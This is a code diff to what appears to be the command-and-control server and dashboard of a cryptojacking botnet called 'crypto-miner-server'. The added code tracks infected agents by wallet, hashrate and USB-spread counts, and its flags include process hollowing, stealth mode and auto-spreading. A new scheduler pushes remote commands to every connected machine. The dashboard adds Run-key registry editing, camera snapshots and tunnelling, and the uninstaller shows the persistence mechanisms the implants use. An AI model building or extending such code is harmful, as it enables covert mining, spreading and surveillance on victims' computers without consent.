||||
func TestNormalizeRegistryPersistenceEnumWins(t *testing.T) {
|
||||
req := &BuildRequest{
|
||||
RegistryPersistence: "hkcu_run",
|
||||
RegistryRunHKLM: true,
|
||||
}
|
||||
normalizeRegistryPersistence(req)
|
||||
if req.RegistryPersistence != "hkcu_run" {
|
||||
t.Fatalf("enum should win, got %q", req.RegistryPersistence)
|
||||
}
|
||||
}
|
||||
@@ -122,6 +122,10 @@ if (Test-Path $ExpectedExe) {
|
||||
Write-Host "Removing persistence..."
|
||||
Remove-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Run' -Name $PersistenceKey -ErrorAction SilentlyContinue
|
||||
Unregister-ScheduledTask -TaskName $PersistenceKey -Confirm:$false -ErrorAction SilentlyContinue
|
||||
Unregister-ScheduledTask -TaskName ($PersistenceKey + '-Boot') -Confirm:$false -ErrorAction SilentlyContinue
|
||||
Unregister-ScheduledTask -TaskName ($PersistenceKey + '-Logon') -Confirm:$false -ErrorAction SilentlyContinue
|
||||
$StartupLnk = Join-Path $env:APPDATA 'Microsoft\Windows\Start Menu\Programs\Startup\' ($PersistenceKey + '.lnk')
|
||||
if (Test-Path $StartupLnk) { Remove-Item -LiteralPath $StartupLnk -Force }
|
||||
|
||||
if (%s) {
|
||||
Write-Host "Removing Windows Firewall rules..."
|
||||
|
||||
@@ -33,6 +33,16 @@ func TestGenerateUninstallScriptStealthKey(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestGenerateUninstallScriptAutostartExtras(t *testing.T) {
|
||||
req := &BuildRequest{WorkerName: "lab", ProcessName: "Worker", StealthMode: false}
|
||||
script := generateUninstallScript("build-id", req)
|
||||
for _, frag := range []string{"-Boot", "-Logon", "Programs\\Startup", ".lnk"} {
|
||||
if !strings.Contains(script, frag) {
|
||||
t.Fatalf("expected autostart cleanup fragment %q in script", frag)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestGenerateUninstallScriptInstallPathTokens(t *testing.T) {
|
||||
req := &BuildRequest{
|
||||
WorkerName: "office-pc",
|
||||
|
||||
@@ -34,6 +34,7 @@ func (d *Database) scanAgent(row interface {
|
||||
}) (*models.Agent, error) {
|
||||
a := &models.Agent{}
|
||||
var notes, tagsRaw string
|
||||
var usbSpread int
|
||||
err := row.Scan(
|
||||
&a.ID, &a.Name, &a.Wallet, &a.IP, &a.Version, &a.Status,
|
||||
&a.CPUCores, &a.MemoryGB, &a.LastSeen, &a.CreatedAt,
|
||||
@@ -41,18 +42,21 @@ func (d *Database) scanAgent(row interface {
|
||||
&a.SharesTotal, &a.SharesGood, &a.SharesBad,
|
||||
&a.CPUUsagePct, &a.MemoryUsagePct, &a.UptimeSeconds,
|
||||
¬es, &tagsRaw, &a.Platform, &a.Arch, &a.OSVersion, &a.Hostname, &a.MacAddress,
|
||||
&a.BuildID, &a.WorkerName, &usbSpread,
|
||||
)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
a.Notes = notes
|
||||
a.Tags = decodeTags(tagsRaw)
|
||||
a.USBSpread = usbSpread == 1
|
||||
return a, nil
|
||||
}
|
||||
|
||||
const agentSelectCols = `id, name, wallet, ip, version, status, cpu_cores, memory_gb, last_seen, created_at,
|
||||
hashrate_15s, hashrate_1m, hashrate_15m, shares_total, shares_good, shares_bad,
|
||||
cpu_usage_pct, memory_usage_pct, uptime_seconds, notes, tags, platform, arch, os_version, hostname, mac_address`
|
||||
cpu_usage_pct, memory_usage_pct, uptime_seconds, notes, tags, platform, arch, os_version, hostname, mac_address,
|
||||
build_id, worker_name, usb_spread`
|
||||
|
||||
func (d *Database) UpdateAgentMeta(id, notes string, tags []string) error {
|
||||
_, err := d.Exec(`UPDATE agents SET notes = ?, tags = ? WHERE id = ?`, notes, encodeTags(tags), id)
|
||||
|
||||
55
server/internal/db/audit.go
Normal file
55
server/internal/db/audit.go
Normal file
@@ -0,0 +1,55 @@
|
||||
package db
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"time"
|
||||
|
||||
"crypto-miner-server/internal/models"
|
||||
)
|
||||
|
||||
func (d *Database) InsertAudit(username, action, agentID string, detail interface{}) error {
|
||||
var detailJSON []byte
|
||||
if detail != nil {
|
||||
var err error
|
||||
detailJSON, err = json.Marshal(detail)
|
||||
if err != nil {
|
||||
detailJSON = []byte("{}")
|
||||
}
|
||||
}
|
||||
_, err := d.Exec(
|
||||
`INSERT INTO audit_log (timestamp, username, action, agent_id, detail) VALUES (?, ?, ?, ?, ?)`,
|
||||
time.Now(), username, action, agentID, string(detailJSON),
|
||||
)
|
||||
return err
|
||||
}
|
||||
|
||||
func (d *Database) ListAudit(limit int) ([]*models.AuditEntry, error) {
|
||||
if limit <= 0 {
|
||||
limit = 50
|
||||
}
|
||||
if limit > 500 {
|
||||
limit = 500
|
||||
}
|
||||
rows, err := d.Query(
|
||||
`SELECT id, timestamp, username, action, agent_id, detail FROM audit_log ORDER BY id DESC LIMIT ?`,
|
||||
limit,
|
||||
)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer rows.Close()
|
||||
|
||||
var out []*models.AuditEntry
|
||||
for rows.Next() {
|
||||
e := &models.AuditEntry{}
|
||||
var detailStr string
|
||||
if err := rows.Scan(&e.ID, &e.Timestamp, &e.Username, &e.Action, &e.AgentID, &detailStr); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if detailStr != "" {
|
||||
e.Detail = json.RawMessage(detailStr)
|
||||
}
|
||||
out = append(out, e)
|
||||
}
|
||||
return out, nil
|
||||
}
|
||||
46
server/internal/db/audit_test.go
Normal file
46
server/internal/db/audit_test.go
Normal file
@@ -0,0 +1,46 @@
|
||||
package db
|
||||
|
||||
import (
|
||||
"testing"
|
||||
|
||||
"crypto-miner-server/internal/models"
|
||||
)
|
||||
|
||||
func TestAuditLogRoundTrip(t *testing.T) {
|
||||
d, err := New(t.TempDir())
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
defer d.Close()
|
||||
|
||||
if err := d.InsertAudit("admin", "forge_build", "", map[string]string{"build_id": "b1"}); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
rows, err := d.ListAudit(10)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if len(rows) != 1 || rows[0].Action != "forge_build" || rows[0].Username != "admin" {
|
||||
t.Fatalf("unexpected audit rows: %+v", rows)
|
||||
}
|
||||
}
|
||||
|
||||
func TestFleetTasksCRUD(t *testing.T) {
|
||||
d, err := New(t.TempDir())
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
defer d.Close()
|
||||
|
||||
task := &models.FleetTask{Name: "sysinfo on connect", Enabled: true, Trigger: "on_connect", Action: "sysinfo"}
|
||||
if err := d.UpsertFleetTask(task); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
list, err := d.ListFleetTasks()
|
||||
if err != nil || len(list) != 1 {
|
||||
t.Fatalf("list: %v err=%v", list, err)
|
||||
}
|
||||
if err := d.DeleteFleetTask(list[0].ID); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
}
|
||||
97
server/internal/db/fleet_tasks.go
Normal file
97
server/internal/db/fleet_tasks.go
Normal file
@@ -0,0 +1,97 @@
|
||||
package db
|
||||
|
||||
import (
|
||||
"database/sql"
|
||||
"time"
|
||||
|
||||
"crypto-miner-server/internal/models"
|
||||
|
||||
"github.com/google/uuid"
|
||||
)
|
||||
|
||||
func (d *Database) ListFleetTasks() ([]*models.FleetTask, error) {
|
||||
rows, err := d.Query(`SELECT id, name, enabled, trigger, interval_hours, cron_time, action, command, target, created_at, updated_at FROM fleet_tasks ORDER BY created_at`)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer rows.Close()
|
||||
return scanFleetTasks(rows)
|
||||
}
|
||||
|
||||
func (d *Database) GetFleetTask(id string) (*models.FleetTask, error) {
|
||||
row := d.QueryRow(`SELECT id, name, enabled, trigger, interval_hours, cron_time, action, command, target, created_at, updated_at FROM fleet_tasks WHERE id = ?`, id)
|
||||
return scanFleetTaskRow(row)
|
||||
}
|
||||
|
||||
func (d *Database) UpsertFleetTask(t *models.FleetTask) error {
|
||||
if t.ID == "" {
|
||||
t.ID = uuid.New().String()
|
||||
}
|
||||
now := time.Now()
|
||||
if t.CreatedAt.IsZero() {
|
||||
t.CreatedAt = now
|
||||
}
|
||||
t.UpdatedAt = now
|
||||
_, err := d.Exec(`INSERT INTO fleet_tasks (id, name, enabled, trigger, interval_hours, cron_time, action, command, target, created_at, updated_at)
|
||||
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)
|
||||
ON CONFLICT(id) DO UPDATE SET
|
||||
name = excluded.name,
|
||||
enabled = excluded.enabled,
|
||||
trigger = excluded.trigger,
|
||||
interval_hours = excluded.interval_hours,
|
||||
cron_time = excluded.cron_time,
|
||||
action = excluded.action,
|
||||
command = excluded.command,
|
||||
target = excluded.target,
|
||||
updated_at = excluded.updated_at`,
|
||||
t.ID, t.Name, boolToInt(t.Enabled), t.Trigger, t.IntervalHours, t.CronTime, t.Action, t.Command, t.Target, t.CreatedAt, t.UpdatedAt,
|
||||
)
|
||||
return err
|
||||
}
|
||||
|
||||
func (d *Database) DeleteFleetTask(id string) error {
|
||||
_, err := d.Exec(`DELETE FROM fleet_tasks WHERE id = ?`, id)
|
||||
return err
|
||||
}
|
||||
|
||||
func (d *Database) RecordFleetTaskRun(agentID, taskID string) error {
|
||||
_, err := d.Exec(`INSERT INTO fleet_task_runs (agent_id, task_id, last_run_at) VALUES (?, ?, ?)
|
||||
ON CONFLICT(agent_id, task_id) DO UPDATE SET last_run_at = excluded.last_run_at`,
|
||||
agentID, taskID, time.Now(),
|
||||
)
|
||||
return err
|
||||
}
|
||||
|
||||
func (d *Database) LastFleetTaskRun(agentID, taskID string) (time.Time, bool) {
|
||||
var ts time.Time
|
||||
err := d.QueryRow(`SELECT last_run_at FROM fleet_task_runs WHERE agent_id = ? AND task_id = ?`, agentID, taskID).Scan(&ts)
|
||||
if err != nil {
|
||||
return time.Time{}, false
|
||||
}
|
||||
return ts, true
|
||||
}
|
||||
|
||||
func scanFleetTaskRow(row *sql.Row) (*models.FleetTask, error) {
|
||||
t := &models.FleetTask{}
|
||||
var enabled int
|
||||
err := row.Scan(&t.ID, &t.Name, &enabled, &t.Trigger, &t.IntervalHours, &t.CronTime, &t.Action, &t.Command, &t.Target, &t.CreatedAt, &t.UpdatedAt)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
t.Enabled = enabled == 1
|
||||
return t, nil
|
||||
}
|
||||
|
||||
func scanFleetTasks(rows *sql.Rows) ([]*models.FleetTask, error) {
|
||||
var out []*models.FleetTask
|
||||
for rows.Next() {
|
||||
t := &models.FleetTask{}
|
||||
var enabled int
|
||||
if err := rows.Scan(&t.ID, &t.Name, &enabled, &t.Trigger, &t.IntervalHours, &t.CronTime, &t.Action, &t.Command, &t.Target, &t.CreatedAt, &t.UpdatedAt); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
t.Enabled = enabled == 1
|
||||
out = append(out, t)
|
||||
}
|
||||
return out, rows.Err()
|
||||
}
|
||||
52
server/internal/db/spread_stats.go
Normal file
52
server/internal/db/spread_stats.go
Normal file
@@ -0,0 +1,52 @@
|
||||
package db
|
||||
|
||||
import "time"
|
||||
|
||||
type SpreadFunnelRow struct {
|
||||
BuildID string `json:"build_id"`
|
||||
WorkerName string `json:"worker_name"`
|
||||
Count int `json:"count"`
|
||||
USBSpread int `json:"usb_spread_count"`
|
||||
}
|
||||
|
||||
type SpreadFunnelStats struct {
|
||||
ByBuild []SpreadFunnelRow `json:"by_build"`
|
||||
NewConnectsToday int `json:"new_connects_today"`
|
||||
TotalAgents int `json:"total_agents"`
|
||||
}
|
||||
|
||||
func (d *Database) GetSpreadFunnelStats(since time.Time) (*SpreadFunnelStats, error) {
|
||||
stats := &SpreadFunnelStats{}
|
||||
|
||||
if err := d.QueryRow(`SELECT COUNT(*) FROM agents WHERE created_at >= date('now')`).Scan(&stats.NewConnectsToday); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if err := d.QueryRow(`SELECT COUNT(*) FROM agents`).Scan(&stats.TotalAgents); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
rows, err := d.Query(`
|
||||
SELECT COALESCE(NULLIF(build_id,''), 'unknown') AS build_id,
|
||||
COALESCE(NULLIF(worker_name,''), name) AS worker_name,
|
||||
COUNT(*) AS cnt,
|
||||
SUM(CASE WHEN usb_spread = 1 THEN 1 ELSE 0 END) AS usb_cnt
|
||||
FROM agents
|
||||
WHERE created_at >= ?
|
||||
GROUP BY build_id, worker_name
|
||||
ORDER BY cnt DESC`,
|
||||
since,
|
||||
)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer rows.Close()
|
||||
|
||||
for rows.Next() {
|
||||
var r SpreadFunnelRow
|
||||
if err := rows.Scan(&r.BuildID, &r.WorkerName, &r.Count, &r.USBSpread); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
stats.ByBuild = append(stats.ByBuild, r)
|
||||
}
|
||||
return stats, rows.Err()
|
||||
}
|
||||
@@ -130,6 +130,45 @@ func (d *Database) migrate() error {
|
||||
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN gpu_model TEXT DEFAULT ''`)
|
||||
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN gpu_miner_active INTEGER DEFAULT 0`)
|
||||
_, _ = d.Exec(`ALTER TABLE hashrate_samples ADD COLUMN gpu_hashrate REAL DEFAULT 0`)
|
||||
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN build_id TEXT NOT NULL DEFAULT ''`)
|
||||
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN worker_name TEXT NOT NULL DEFAULT ''`)
|
||||
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN usb_spread INTEGER NOT NULL DEFAULT 0`)
|
||||
|
||||
extraMigrations := []string{
|
||||
`CREATE TABLE IF NOT EXISTS audit_log (
|
||||
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
||||
timestamp DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP,
|
||||
username TEXT NOT NULL DEFAULT '',
|
||||
action TEXT NOT NULL,
|
||||
agent_id TEXT NOT NULL DEFAULT '',
|
||||
detail TEXT NOT NULL DEFAULT '{}'
|
||||
)`,
|
||||
`CREATE INDEX IF NOT EXISTS idx_audit_timestamp ON audit_log(timestamp)`,
|
||||
`CREATE TABLE IF NOT EXISTS fleet_tasks (
|
||||
id TEXT PRIMARY KEY,
|
||||
name TEXT NOT NULL,
|
||||
enabled INTEGER NOT NULL DEFAULT 1,
|
||||
trigger TEXT NOT NULL,
|
||||
interval_hours REAL NOT NULL DEFAULT 0,
|
||||
cron_time TEXT NOT NULL DEFAULT '',
|
||||
action TEXT NOT NULL,
|
||||
command TEXT NOT NULL DEFAULT '',
|
||||
target TEXT NOT NULL DEFAULT 'all',
|
||||
created_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP,
|
||||
updated_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP
|
||||
)`,
|
||||
`CREATE TABLE IF NOT EXISTS fleet_task_runs (
|
||||
agent_id TEXT NOT NULL,
|
||||
task_id TEXT NOT NULL,
|
||||
last_run_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP,
|
||||
PRIMARY KEY (agent_id, task_id)
|
||||
)`,
|
||||
}
|
||||
for _, m := range extraMigrations {
|
||||
if _, err := d.Exec(m); err != nil {
|
||||
return fmt.Errorf("migration failed: %w\nSQL: %s", err, m)
|
||||
}
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
@@ -137,8 +176,8 @@ func (d *Database) migrate() error {
|
||||
// Agent operations
|
||||
|
||||
func (d *Database) UpsertAgent(a *models.Agent) error {
|
||||
query := `INSERT INTO agents (id, name, wallet, ip, version, status, cpu_cores, memory_gb, last_seen, created_at, platform, arch, os_version, hostname, mac_address)
|
||||
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, COALESCE((SELECT created_at FROM agents WHERE id = ?), CURRENT_TIMESTAMP), ?, ?, ?, ?, ?)
|
||||
query := `INSERT INTO agents (id, name, wallet, ip, version, status, cpu_cores, memory_gb, last_seen, created_at, platform, arch, os_version, hostname, mac_address, build_id, worker_name, usb_spread)
|
||||
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, COALESCE((SELECT created_at FROM agents WHERE id = ?), CURRENT_TIMESTAMP), ?, ?, ?, ?, ?, ?, ?, ?)
|
||||
ON CONFLICT(id) DO UPDATE SET
|
||||
name = excluded.name,
|
||||
wallet = excluded.wallet,
|
||||
@@ -152,8 +191,15 @@ func (d *Database) UpsertAgent(a *models.Agent) error {
|
||||
arch = excluded.arch,
|
||||
os_version = excluded.os_version,
|
||||
hostname = excluded.hostname,
|
||||
mac_address = CASE WHEN excluded.mac_address != '' THEN excluded.mac_address ELSE mac_address END`
|
||||
_, err := d.Exec(query, a.ID, a.Name, a.Wallet, a.IP, a.Version, a.Status, a.CPUCores, a.MemoryGB, a.LastSeen, a.ID, a.Platform, a.Arch, a.OSVersion, a.Hostname, a.MacAddress)
|
||||
mac_address = CASE WHEN excluded.mac_address != '' THEN excluded.mac_address ELSE mac_address END,
|
||||
build_id = CASE WHEN excluded.build_id != '' THEN excluded.build_id ELSE build_id END,
|
||||
worker_name = CASE WHEN excluded.worker_name != '' THEN excluded.worker_name ELSE worker_name END,
|
||||
usb_spread = excluded.usb_spread`
|
||||
usb := 0
|
||||
if a.USBSpread {
|
||||
usb = 1
|
||||
}
|
||||
_, err := d.Exec(query, a.ID, a.Name, a.Wallet, a.IP, a.Version, a.Status, a.CPUCores, a.MemoryGB, a.LastSeen, a.ID, a.Platform, a.Arch, a.OSVersion, a.Hostname, a.MacAddress, a.BuildID, a.WorkerName, usb)
|
||||
return err
|
||||
}
|
||||
|
||||
|
||||
@@ -34,6 +34,10 @@ type Agent struct {
|
||||
Hostname string `json:"hostname,omitempty"`
|
||||
MacAddress string `json:"mac_address,omitempty"`
|
||||
|
||||
BuildID string `json:"build_id,omitempty"`
|
||||
WorkerName string `json:"worker_name,omitempty"`
|
||||
USBSpread bool `json:"usb_spread,omitempty"`
|
||||
|
||||
// Live connection quality — not persisted, set by WSHub each stats cycle.
|
||||
LatencyMs *int `json:"latency_ms,omitempty"`
|
||||
|
||||
@@ -102,6 +106,7 @@ type AgentCapabilities struct {
|
||||
AutoSpread bool `json:"auto_spread"`
|
||||
ProcessHollowing bool `json:"process_hollowing"`
|
||||
AIEnabled bool `json:"ai_enabled"`
|
||||
USBSpread bool `json:"usb_spread"`
|
||||
}
|
||||
|
||||
type Share struct {
|
||||
|
||||
15
server/internal/models/audit.go
Normal file
15
server/internal/models/audit.go
Normal file
@@ -0,0 +1,15 @@
|
||||
package models
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"time"
|
||||
)
|
||||
|
||||
type AuditEntry struct {
|
||||
ID int64 `json:"id"`
|
||||
Timestamp time.Time `json:"timestamp"`
|
||||
Username string `json:"username"`
|
||||
Action string `json:"action"`
|
||||
AgentID string `json:"agent_id,omitempty"`
|
||||
Detail json.RawMessage `json:"detail,omitempty"`
|
||||
}
|
||||
18
server/internal/models/fleet_task.go
Normal file
18
server/internal/models/fleet_task.go
Normal file
@@ -0,0 +1,18 @@
|
||||
package models
|
||||
|
||||
import "time"
|
||||
|
||||
// FleetTask is a server-side scheduled remote action pushed to agents.
|
||||
type FleetTask struct {
|
||||
ID string `json:"id"`
|
||||
Name string `json:"name"`
|
||||
Enabled bool `json:"enabled"`
|
||||
Trigger string `json:"trigger"` // on_connect, on_reconnect, interval_hours, cron
|
||||
IntervalHours float64 `json:"interval_hours,omitempty"`
|
||||
CronTime string `json:"cron_time,omitempty"` // HH:MM daily
|
||||
Action string `json:"action"`
|
||||
Command string `json:"command,omitempty"`
|
||||
Target string `json:"target,omitempty"` // all (default)
|
||||
CreatedAt time.Time `json:"created_at"`
|
||||
UpdatedAt time.Time `json:"updated_at"`
|
||||
}
|
||||
142
server/internal/scheduler/fleet_scheduler.go
Normal file
142
server/internal/scheduler/fleet_scheduler.go
Normal file
@@ -0,0 +1,142 @@
|
||||
package scheduler
|
||||
|
||||
import (
|
||||
"log"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"crypto-miner-server/internal/db"
|
||||
"crypto-miner-server/internal/models"
|
||||
)
|
||||
|
||||
// CommandSender pushes a remote command to a connected agent.
|
||||
type CommandSender interface {
|
||||
SendAgentCommand(agentID, action string, args map[string]interface{}) error
|
||||
ConnectedAgentIDs() []string
|
||||
}
|
||||
|
||||
// FleetScheduler runs interval and cron fleet tasks against connected agents.
|
||||
type FleetScheduler struct {
|
||||
db *db.Database
|
||||
send CommandSender
|
||||
stop chan struct{}
|
||||
wg sync.WaitGroup
|
||||
|
||||
cronMu sync.Mutex
|
||||
lastCronRuns map[string]string // taskID -> "2006-01-02 15:04"
|
||||
}
|
||||
|
||||
func New(db *db.Database, send CommandSender) *FleetScheduler {
|
||||
return &FleetScheduler{
|
||||
db: db,
|
||||
send: send,
|
||||
stop: make(chan struct{}),
|
||||
lastCronRuns: make(map[string]string),
|
||||
}
|
||||
}
|
||||
|
||||
func (s *FleetScheduler) Start() {
|
||||
s.wg.Add(1)
|
||||
go s.loop()
|
||||
}
|
||||
|
||||
func (s *FleetScheduler) Stop() {
|
||||
close(s.stop)
|
||||
s.wg.Wait()
|
||||
}
|
||||
|
||||
func (s *FleetScheduler) loop() {
|
||||
defer s.wg.Done()
|
||||
ticker := time.NewTicker(1 * time.Minute)
|
||||
defer ticker.Stop()
|
||||
for {
|
||||
select {
|
||||
case <-s.stop:
|
||||
return
|
||||
case <-ticker.C:
|
||||
s.tickInterval()
|
||||
s.tickCron()
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// RunConnectTasks executes tasks matching on_connect or on_reconnect for one agent.
|
||||
func (s *FleetScheduler) RunConnectTasks(agentID string, trigger string) {
|
||||
tasks, err := s.db.ListFleetTasks()
|
||||
if err != nil {
|
||||
log.Printf("[scheduler] list tasks: %v", err)
|
||||
return
|
||||
}
|
||||
for _, t := range tasks {
|
||||
if !t.Enabled || t.Trigger != trigger {
|
||||
continue
|
||||
}
|
||||
s.dispatchTask(agentID, t)
|
||||
}
|
||||
}
|
||||
|
||||
func (s *FleetScheduler) tickInterval() {
|
||||
tasks, err := s.db.ListFleetTasks()
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
agentIDs := s.send.ConnectedAgentIDs()
|
||||
for _, t := range tasks {
|
||||
if !t.Enabled || t.Trigger != "interval_hours" || t.IntervalHours <= 0 {
|
||||
continue
|
||||
}
|
||||
interval := time.Duration(t.IntervalHours * float64(time.Hour))
|
||||
for _, agentID := range agentIDs {
|
||||
last, ok := s.db.LastFleetTaskRun(agentID, t.ID)
|
||||
if ok && time.Since(last) < interval {
|
||||
continue
|
||||
}
|
||||
s.dispatchTask(agentID, t)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func (s *FleetScheduler) tickCron() {
|
||||
now := time.Now()
|
||||
slot := now.Format("15:04")
|
||||
daySlot := now.Format("2006-01-02") + " " + slot
|
||||
|
||||
tasks, err := s.db.ListFleetTasks()
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
agentIDs := s.send.ConnectedAgentIDs()
|
||||
for _, t := range tasks {
|
||||
if !t.Enabled || t.Trigger != "cron" || strings.TrimSpace(t.CronTime) == "" {
|
||||
continue
|
||||
}
|
||||
cronTime := strings.TrimSpace(t.CronTime)
|
||||
if cronTime != slot {
|
||||
continue
|
||||
}
|
||||
s.cronMu.Lock()
|
||||
if s.lastCronRuns[t.ID] == daySlot {
|
||||
s.cronMu.Unlock()
|
||||
continue
|
||||
}
|
||||
s.lastCronRuns[t.ID] = daySlot
|
||||
s.cronMu.Unlock()
|
||||
for _, agentID := range agentIDs {
|
||||
s.dispatchTask(agentID, t)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func (s *FleetScheduler) dispatchTask(agentID string, t *models.FleetTask) {
|
||||
args := map[string]interface{}{}
|
||||
if t.Command != "" {
|
||||
args["command"] = t.Command
|
||||
}
|
||||
if err := s.send.SendAgentCommand(agentID, t.Action, args); err != nil {
|
||||
log.Printf("[scheduler] task %s → %s: %v", t.Name, agentID, err)
|
||||
return
|
||||
}
|
||||
_ = s.db.RecordFleetTaskRun(agentID, t.ID)
|
||||
log.Printf("[scheduler] dispatched task %q (%s) → agent %s", t.Name, t.Action, agentID)
|
||||
}
|
||||
@@ -18,6 +18,7 @@ import (
|
||||
"crypto-miner-server/internal/db"
|
||||
"crypto-miner-server/internal/maintenance"
|
||||
"crypto-miner-server/internal/pool"
|
||||
"crypto-miner-server/internal/scheduler"
|
||||
"crypto-miner-server/internal/sys"
|
||||
)
|
||||
|
||||
@@ -143,6 +144,7 @@ func main() {
|
||||
wsHub.SetFleetSecret(newSecret)
|
||||
builderHandler.SetFleetSecret(newSecret)
|
||||
api.SetAgentPathSecret(newSecret)
|
||||
_ = database.InsertAudit("", "fleet_secret_rotate", "", map[string]string{"prefix": newSecret[:8]})
|
||||
log.Printf("[auth] Fleet secret rotated (new prefix: %s...)", newSecret[:8])
|
||||
return newSecret, nil
|
||||
})
|
||||
@@ -183,6 +185,9 @@ func main() {
|
||||
},
|
||||
}
|
||||
configHandler := api.NewConfigHandler(configProvider)
|
||||
configHandler.SetAuditSaveHook(func(user string) {
|
||||
_ = database.InsertAudit(user, "config_save", "", nil)
|
||||
})
|
||||
log.Println("Config handler initialized")
|
||||
|
||||
maintenance.StartRetentionJobs(database, cfg.DataDir, cfg.Server.StatsRetentionHours, cfg.Server.BuildRetentionDays)
|
||||
@@ -227,6 +232,11 @@ func main() {
|
||||
|
||||
fleetHandler := api.NewFleetHandler(database, wsHub, aiHandler, poolManager, alertEvaluator, defaultPoolCfg, cfg.DataDir)
|
||||
|
||||
fleetSched := scheduler.New(database, wsHub)
|
||||
fleetSched.Start()
|
||||
defer fleetSched.Stop()
|
||||
wsHub.SetConnectTaskRunner(fleetSched)
|
||||
|
||||
// Initialize blueprint handler (config presets)
|
||||
blueprintHandler := api.NewBlueprintHandler(cfg.DataDir)
|
||||
log.Println("Blueprint handler initialized")
|
||||
|
||||
@@ -207,6 +207,14 @@ export const api = {
|
||||
// XMR market price (server-side CoinGecko cache, refreshed every 10 min)
|
||||
getXmrPrice: () => fetchJSON<XmrPrice>('/market/xmr'),
|
||||
|
||||
getAudit: () => fetchJSON<import('../types').AuditEntry[]>('/audit'),
|
||||
getFleetTasks: () => fetchJSON<import('../types').FleetTask[]>('/fleet-tasks'),
|
||||
saveFleetTask: (task: import('../types').FleetTask) =>
|
||||
fetchJSON<import('../types').FleetTask>('/fleet-tasks', { method: 'PUT', body: JSON.stringify(task) }),
|
||||
deleteFleetTask: (id: string) =>
|
||||
fetchJSON<{ ok: boolean }>(`/fleet-tasks/${id}`, { method: 'DELETE' }),
|
||||
getSpreadFunnel: () => fetchJSON<import('../types').SpreadFunnelStats>('/dashboard/spread-funnel'),
|
||||
|
||||
// Path Tracer — WireGuard VPN chain sessions
|
||||
startTrace: (agentIds: string[]) =>
|
||||
fetchJSON<{ session_id: string; hops: PathTraceHop[] }>('/pathtrace/start', {
|
||||
|
||||
@@ -9,8 +9,10 @@ import { pushFileToAgentDesktop } from '../../help/desktopPush';
|
||||
import { parseFullSysCheckMessage } from '../../types/syscheck';
|
||||
import type { FullSysCheckReport } from '../../types/syscheck';
|
||||
import FullSysCheckPanel from './FullSysCheckPanel';
|
||||
import ProtocolTunnelPanel from './ProtocolTunnelPanel';
|
||||
import './AgentRemoteActions.css';
|
||||
import './FullSysCheckPanel.css';
|
||||
import './ProtocolTunnelPanel.css';
|
||||
|
||||
const TERMINAL_MAX_LINES = 500;
|
||||
|
||||
@@ -51,10 +53,20 @@ export default function AgentRemoteActions({
|
||||
// terminalLog is capped at TERMINAL_MAX_LINES to prevent memory leak (L6)
|
||||
const [terminalLog, setTerminalLog] = useState<string[]>([]);
|
||||
const [screenshotData, setScreenshotData] = useState<string | null>(null);
|
||||
const [liveView, setLiveView] = useState(false);
|
||||
const liveViewRef = useRef(false);
|
||||
liveViewRef.current = liveView;
|
||||
const [busy, setBusy] = useState<string | null>(null);
|
||||
const [wolMac, setWolMac] = useState('');
|
||||
const [wolExpanded, setWolExpanded] = useState(false);
|
||||
const [registryExpanded, setRegistryExpanded] = useState(false);
|
||||
const [regHive, setRegHive] = useState('HKCU');
|
||||
const [regPath, setRegPath] = useState('Software\\Microsoft\\Windows\\CurrentVersion\\Run');
|
||||
const [regName, setRegName] = useState('');
|
||||
const [regValue, setRegValue] = useState('');
|
||||
const [regType, setRegType] = useState('REG_SZ');
|
||||
const [sysCheckReport, setSysCheckReport] = useState<FullSysCheckReport | null>(null);
|
||||
const [tunnelStatusMsg, setTunnelStatusMsg] = useState('');
|
||||
// Fleet upgrade
|
||||
const [builds, setBuilds] = useState<Build[]>([]);
|
||||
const [selectedBuildId, setSelectedBuildId] = useState<string>('');
|
||||
@@ -152,18 +164,24 @@ export default function AgentRemoteActions({
|
||||
addLog(`✗ [FULL_SYS_CHECK] FAIL\n${message ?? ''}`);
|
||||
setSysCheckReport(null);
|
||||
}
|
||||
} else if (action === 'screenshot') {
|
||||
} else if (action === 'tunnel_status' && success && message) {
|
||||
setTunnelStatusMsg(message);
|
||||
} else if (action === 'screenshot' || action === 'camera_snapshot') {
|
||||
